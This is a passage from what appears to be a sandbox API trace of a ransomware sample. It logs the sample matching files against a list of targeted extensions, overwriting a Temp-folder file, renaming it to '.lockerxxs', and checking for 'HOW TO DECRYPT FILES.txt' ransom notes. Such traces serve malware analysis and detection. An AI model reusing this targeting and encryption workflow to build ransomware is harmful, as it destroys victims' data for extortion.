(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.bz2") returned 0 [0086.529] lstrlenA (lpString="*.bz2") returned 5 [0086.529] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.gz") returned 0 [0086.529] lstrlenA (lpString="*.gz") returned 4 [0086.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.mkv") returned 0 [0086.530] lstrlenA (lpString="*.mkv") returned 5 [0086.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.eml") returned 0 [0086.530] lstrlenA (lpString="*.eml") returned 5 [0086.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.msg") returned 0 [0086.530] lstrlenA (lpString="*.msg") returned 5 [0086.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.edb") returned 0 [0086.530] lstrlenA (lpString="*.edb") returned 5 [0086.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.accdb") returned 0 [0086.530] lstrlenA (lpString="*.accdb") returned 7 [0086.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.odb") returned 0 [0086.530] lstrlenA (lpString="*.odb") returned 5 [0086.530] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.java") returned 0 [0086.531] lstrlenA (lpString="*.java") returned 6 [0086.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.asm") returned 0 [0086.531] lstrlenA (lpString="*.asm") returned 5 [0086.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.pfx") returned 0 [0086.531] lstrlenA (lpString="*.pfx") returned 5 [0086.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.pem") returned 0 [0086.531] lstrlenA (lpString="*.pem") returned 5 [0086.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.p12") returned 0 [0086.531] lstrlenA (lpString="*.p12") returned 5 [0086.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.gpg") returned 0 [0086.531] lstrlenA (lpString="*.gpg") returned 5 [0086.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.vsd") returned 0 [0086.531] lstrlenA (lpString="*.vsd") returned 5 [0086.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.odg") returned 0 [0086.531] lstrlenA (lpString="*.odg") returned 5 [0086.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.raw") returned 0 [0086.531] lstrlenA (lpString="*.raw") returned 5 [0086.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.nef") returned 0 [0086.531] lstrlenA (lpString="*.nef") returned 5 [0086.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.svg") returned 0 [0086.531] lstrlenA (lpString="*.svg") returned 5 [0086.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.psd") returned 0 [0086.531] lstrlenA (lpString="*.psd") returned 5 [0086.531] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.vmx") returned 0 [0086.532] lstrlenA (lpString="*.vmx") returned 5 [0086.532] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.vmdk") returned 0 [0086.532] lstrlenA (lpString="*.vmdk") returned 6 [0086.532] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.vdi") returned 0 [0086.532] lstrlenA (lpString="*.vdi") returned 5 [0086.532] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.lay6") returned 0 [0086.532] lstrlenA (lpString="*.lay6") returned 6 [0086.532] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.mpeg") returned 0 [0086.532] lstrlenA (lpString="*.mpeg") returned 6 [0086.532] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.djvu") returned 0 [0086.532] lstrlenA (lpString="*.djvu") returned 6 [0086.532] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.tiff") returned 0 [0086.532] lstrlenA (lpString="*.tiff") returned 6 [0086.532] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.backup") returned 0 [0086.532] lstrlenA (lpString="*.backup") returned 8 [0086.532] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.pdf") returned 0 [0086.532] lstrlenA (lpString="*.pdf") returned 5 [0086.532] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.cert") returned 0 [0086.532] lstrlenA (lpString="*.cert") returned 6 [0086.532] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.docm") returned 0 [0086.532] lstrlenA (lpString="*.docm") returned 6 [0086.532] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.xlsm") returned 0 [0086.532] lstrlenA (lpString="*.xlsm") returned 6 [0086.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.dwg") returned 0 [0086.533] lstrlenA (lpString="*.dwg") returned 5 [0086.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.nd") returned 0 [0086.533] lstrlenA (lpString="*.nd") returned 4 [0086.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.tlg") returned 0 [0086.533] lstrlenA (lpString="*.tlg") returned 5 [0086.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.lgb") returned 0 [0086.533] lstrlenA (lpString="*.lgb") returned 5 [0086.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.mov") returned 0 [0086.533] lstrlenA (lpString="*.mov") returned 5 [0086.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.xdw") returned 0 [0086.533] lstrlenA (lpString="*.xdw") returned 5 [0086.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.ods") returned 0 [0086.533] lstrlenA (lpString="*.ods") returned 5 [0086.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.wav") returned 0 [0086.533] lstrlenA (lpString="*.wav") returned 5 [0086.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.mp3") returned 0 [0086.533] lstrlenA (lpString="*.mp3") returned 5 [0086.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.aiff") returned 0 [0086.533] lstrlenA (lpString="*.aiff") returned 6 [0086.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.flac") returned 0 [0086.533] lstrlenA (lpString="*.flac") returned 6 [0086.533] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", pszSpec="*.m4a") returned 1 [0086.534] lstrlenA (lpString="*.m4a") returned 5 [0086.534] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a" [0086.534] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a" [0086.534] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a." [0086.534] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a.lockerxxs" [0086.534] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\eads817tnp0j9g-zy.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.535] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9b30 [0086.535] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xe40a8ea0, dwHighDateTime=0x1d5e12e), lpLastAccessTime=0x407536*(dwLowDateTime=0x828229c0, dwHighDateTime=0x1d5e38d), lpLastWriteTime=0x40753e*(dwLowDateTime=0x828229c0, dwHighDateTime=0x1d5e38d)) returned 1 [0086.535] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.535] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x9b0a, lpOverlapped=0x0) returned 1 [0086.536] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a") returned="eAdS817TNp0j9G-zY.m4a" [0086.537] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.537] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x9b0a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x9b0a, lpOverlapped=0x0) returned 1 [0086.537] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.537] CloseHandle (hObject=0x90) returned 1 [0086.537] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\eads817tnp0j9g-zy.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\eads817tnp0j9g-zy.m4a.lockerxxs")) returned 1 [0086.539] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37615360, ftCreationTime.dwHighDateTime=0x1d5d831, ftLastAccessTime.dwLowDateTime=0xf9ebfd50, ftLastAccessTime.dwHighDateTime=0x1d5e7e4, ftLastWriteTime.dwLowDateTime=0xf9ebfd50, ftLastWriteTime.dwHighDateTime=0x1d5e7e4, nFileSizeHigh=0x0, nFileSizeLow=0x9b6, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="fFPZxI2Tpu8e6tLvaU4o.mp4", cAlternateFileName="FFPZXI~1.MP4")) returned 1 [0086.539] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.539] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="fFPZxI2Tpu8e6tLvaU4o.mp4") returned -1 [0086.539] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="fFPZxI2Tpu8e6tLvaU4o.mp4") returned 1 [0086.539] lstrcmpiA (lpString1="", lpString2="fFPZxI2Tpu8e6tLvaU4o.mp4") returned -1 [0086.539] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eAdS817TNp0j9G-zY.m4a") returned="eAdS817TNp0j9G-zY.m4a" [0086.539] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.539] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.539] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.540] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.540] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="fFPZxI2Tpu8e6tLvaU4o.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4" [0086.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.ems") returned 0 [0086.540] lstrlenA (lpString="*.ems") returned 5 [0086.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.db") returned 0 [0086.540] lstrlenA (lpString="*.db") returned 4 [0086.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.dbf") returned 0 [0086.540] lstrlenA (lpString="*.dbf") returned 5 [0086.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.myox") returned 0 [0086.540] lstrlenA (lpString="*.myox") returned 6 [0086.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.myo") returned 0 [0086.540] lstrlenA (lpString="*.myo") returned 5 [0086.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.qbw") returned 0 [0086.540] lstrlenA (lpString="*.qbw") returned 5 [0086.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.qbb") returned 0 [0086.540] lstrlenA (lpString="*.qbb") returned 5 [0086.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.qbm") returned 0 [0086.540] lstrlenA (lpString="*.qbm") returned 5 [0086.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.qbo") returned 0 [0086.540] lstrlenA (lpString="*.qbo") returned 5 [0086.540] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.qbx") returned 0 [0086.540] lstrlenA (lpString="*.qbx") returned 5 [0086.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.qba") returned 0 [0086.541] lstrlenA (lpString="*.qba") returned 5 [0086.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.qby") returned 0 [0086.541] lstrlenA (lpString="*.qby") returned 5 [0086.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.qbj") returned 0 [0086.541] lstrlenA (lpString="*.qbj") returned 5 [0086.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.ofx") returned 0 [0086.541] lstrlenA (lpString="*.ofx") returned 5 [0086.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.qif") returned 0 [0086.541] lstrlenA (lpString="*.qif") returned 5 [0086.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.mye") returned 0 [0086.541] lstrlenA (lpString="*.mye") returned 5 [0086.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.mbox") returned 0 [0086.541] lstrlenA (lpString="*.mbox") returned 6 [0086.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.eml") returned 0 [0086.541] lstrlenA (lpString="*.eml") returned 5 [0086.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.pst") returned 0 [0086.541] lstrlenA (lpString="*.pst") returned 5 [0086.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.ost") returned 0 [0086.541] lstrlenA (lpString="*.ost") returned 5 [0086.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.idx") returned 0 [0086.541] lstrlenA (lpString="*.idx") returned 5 [0086.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.dbx") returned 0 [0086.541] lstrlenA (lpString="*.dbx") returned 5 [0086.541] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.sql") returned 0 [0086.542] lstrlenA (lpString="*.sql") returned 5 [0086.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.mdb") returned 0 [0086.542] lstrlenA (lpString="*.mdb") returned 5 [0086.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.fdb") returned 0 [0086.542] lstrlenA (lpString="*.fdb") returned 5 [0086.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.wab") returned 0 [0086.542] lstrlenA (lpString="*.wab") returned 5 [0086.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.dat") returned 0 [0086.542] lstrlenA (lpString="*.dat") returned 5 [0086.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.txt") returned 0 [0086.542] lstrlenA (lpString="*.txt") returned 5 [0086.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.jpeg") returned 0 [0086.542] lstrlenA (lpString="*.jpeg") returned 6 [0086.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.jpg") returned 0 [0086.542] lstrlenA (lpString="*.jpg") returned 5 [0086.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.png") returned 0 [0086.542] lstrlenA (lpString="*.png") returned 5 [0086.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.php") returned 0 [0086.542] lstrlenA (lpString="*.php") returned 5 [0086.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.cs") returned 0 [0086.542] lstrlenA (lpString="*.cs") returned 4 [0086.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.cpp") returned 0 [0086.542] lstrlenA (lpString="*.cpp") returned 5 [0086.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.rar") returned 0 [0086.542] lstrlenA (lpString="*.rar") returned 5 [0086.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.zip") returned 0 [0086.543] lstrlenA (lpString="*.zip") returned 5 [0086.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.html") returned 0 [0086.543] lstrlenA (lpString="*.html") returned 6 [0086.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.htm") returned 0 [0086.543] lstrlenA (lpString="*.htm") returned 5 [0086.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.xlsx") returned 0 [0086.543] lstrlenA (lpString="*.xlsx") returned 6 [0086.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fFPZxI2Tpu8e6tLvaU4o.mp4", pszSpec="*.xls") returned 0 [0086.543] 